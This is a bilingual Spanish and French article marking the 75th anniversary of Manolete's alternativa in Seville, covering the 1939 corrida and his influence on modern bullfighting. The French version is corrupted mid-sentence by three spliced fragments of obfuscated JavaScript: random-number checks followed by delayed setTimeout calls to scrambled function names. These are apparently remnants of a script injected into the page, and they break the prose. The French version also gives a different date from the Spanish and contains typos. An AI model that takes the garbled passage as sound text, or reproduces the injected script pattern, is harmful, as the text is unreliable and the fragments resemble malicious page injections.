BODAS DE PLATINO DE UNA ALTERNATIVANOCES DE PLATINE D’UNE ALTERNATIVE

El miércoles, 2 de julio, se cumplen setenta y cinco años de un acontecimiento que marcaría el inicio de una nueva época del toreo: la investidura como matador de toros, en la Real Maestranza de Sevilla, de Manuel Rodríguez, Manolete.

Hacía tres meses que se habían callado los cañones en las tierras de España. Con las heridas aún abiertas de la Guerra Civil, la Asociación de la Prensa sevillana organizó esta corrida, a beneficio del Seguro del Periodista, con ganado de don Clemente Tassara –antes Parladé, según rezaban los carteles–, para cuya lidia y muerte se anunciaban un torero veterano cuyo nombre llevaba Sevilla cosido a sus entrañas: Manuel Jiménez, Chicuelo; Manolete, que recibiría del anterior los trastos que le abrirían las puertas del escalafón superior, y Rafael Vega de los Reyes, testigo privilegiado no sólo de esta ceremonia, concebida con fulgores de aurora, sino del sangriento y luctuoso final que el pitón de “Islero” pondría a la época, en Linares, ocho años más tarde.

Corrida triunfal donde las haya resultó la de aquel luminoso domingo sevillano, pues Chicuelo, reverdeciendo arte y pinturería, le cortó el rabo al cuarto; el hermano de Curro Puya, se llevó dos orejas del quinto, y Manolete, otras dos del astado de la ceremonia.

El diestro de Córdoba, que nació estoqueador por encima de todo, dejaría entrever ese día todo el mensaje de futuro que se intuía en la seca firmeza de su estilo.

Con los mimbres de su estoicismo senequista, de ese valor de ley reñido con cualquier asomo de arrebato, grito o gesticulación, de la elegancia innata de su porte, del temple que su espíritu trasladaba a las telas, del dominio que imponía a las reses su solemne majestad, desde el misticismo que irradiaba su personalidad de ciprés imperturbable, Manolete empezaba a tejer la urdimbre de una nueva tauromaquia; una nueva forma de torear que obligaría a recalibrar los metros que medían el arte de la lidia a su llegada, como más tarde ocurriría con El Cordobés, con Paco Ojeda y más recientemente con José Tomás, aunque la ceguera mental de algunos les siga impidiendo apreciarlo.

Manolete no sólo cambiaría la curva geometría belmontina por su sistema de rectas perpendiculares: la vertical de su figura hierática y la horizontal de su toreo encaminado a convertir el infinitivo “ligar” en cuarto canon de la tauromaquia; sino que rompería con el principio de adaptar su toreo a las condiciones de las reses para imponer su singular faena a toros de toda condición y estilo. Que lo lograra el noventa por ciento de las veces, obligó al toreo a meterse por la senda de la regularidad. A partir de él, para ostentar por derecho propio el sello de figura, sería preciso salir a triunfar todas las tardes y ratificar los éxitos de manera continuada. Aquello de vivir de las rentas de una faena excepcional, como le ocurrió a su padrino de ceremonia con “Corchaíto”, se había terminado para siempre.

Si la paternidad del toreo moderno es indudablemente belmontina, Manolete encarna el rango de primer torero moderno de la historia. Las fotografías de su arte parecen actuales, y su empaque y su estilo, inmarcesibles. Una hermosa historia que comenzó a amanecer ahora hace tres cuartos de siglo sobre el radiante albero de la plaza de toros de Sevilla.

En ce mercredi 3 juillet on fêtera soixante-quinze ans d’un événement qui marquera le début d’une nouvelle époque dans la tauromachie: l’investiture, comme matador de toros, à la Real Maestranza de Séville, de Manuel Rodríguez, Manolete.

Cela faisait trois mois que les canons s’étaient tus sur les terres d’Espagne. Avec les plaies encore ouvertes de la guerre civile, l’Association de la Presse sévillane organisa cette corrida au profit de l’Assurance des Journalistes, avec du bétail de Don Clemente Tassara –auparavant Parladé, comme il était indiqué sur les afiches- que devaient affronter un torero dont le nom était profondément lié à ce lui de Seville: Manuel Jiménez, Chicuelo; Manolete, qui recevrait la muleta et l’épée de Chicuelo pour signifier son passage à l’escalafon supérieur; et Rafael Vega de los Reyes, témoin non seulement privilégié, conçue avec les éclats de l’aurore, mais aussi du sanglant et funeste final où la corne d’”Islero” mettrait fin à une époque, à Linares, huit ans plus tard.

Corrida triomphale en ce dimanche resplendissant à Séville, car Chicuelo, renouant avec son art et sa grâce, coupa la queue du quatrième; le frère de Curro Puya remporta les deux oreilles du cinquième; et Manolete deux suppémentaires avec son toro d’alternative.

Le torero de Cordoue, matador avant tout depuis sa naissance, laisserait entrevoir ce jour-là tout le message d’avenir que faisait présager la rêche fermeté de son style.

En arborant son stoîcisme sénéquiste, avec ce courage dénué du moindre emportement, cri ou gesticulation, avec l’élégance innée de son attitude, du temple que son esprit transférait à ses tissus, de la domination qu’imposait aux toros sa majesté solennelle et cette mysticité que répandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andait sa personnalité de cyprès imperturbable, Manolete commençait à tisser la trame d’une nouvelle tauromachie; une nouvelle façon de toréer qui obligerait à recalibrer les paramètres de l’art de la lidia, tout comme cela se produirait plus tard avec El Cordobés, avec Paco Ojeda et plus récemment avec José Tomás, même si l’aveuglement mental de certains leur empêche encore de pouvoir l’apprécier.

Manolete ne modifierait pas seulement la courbe “belmontine” par son système de lignes droites perpendiculaires: la verticalité de sa figure hiératique et l’horizontalité de son toreo tendant à rendre infinitif l’enchaînement pour en faire le quatrième canon de la tauromachie; il en finirait aussi avec le principe selon lequel on devait adapter le toreo aux conditions du bétail pour imposer sa singulière tauromachie à toutes sortes de toros. Le fait qu’il y parvienne quatre-vingt-dix pour cent des fois, imposa la régularité dans le toreo.

A partir de lui, pour avoir le droit de s’approprier le sceau de figura, il deviendra nécessaire de triompher à tout prix chaque après-midi et de confirmer en permanence ces succès. Tirer profit d’une faena exceptionnelle, comme ce fut le cas du parrain de cette cérémonie “Corchaito”, ne suffira donc plus.

Si la paternité du toreo moderne est sans aucun doute “belmontine”, Manolete incarne le rang de premier torero moderne de l’histoire. Les photographies de son art semblent actuelles, sa classe et son style, ineffaçables. Une belle histoire qui vit le jour il y a trois quarts de siècle sur le sable rayonnant des arènes de Séville.

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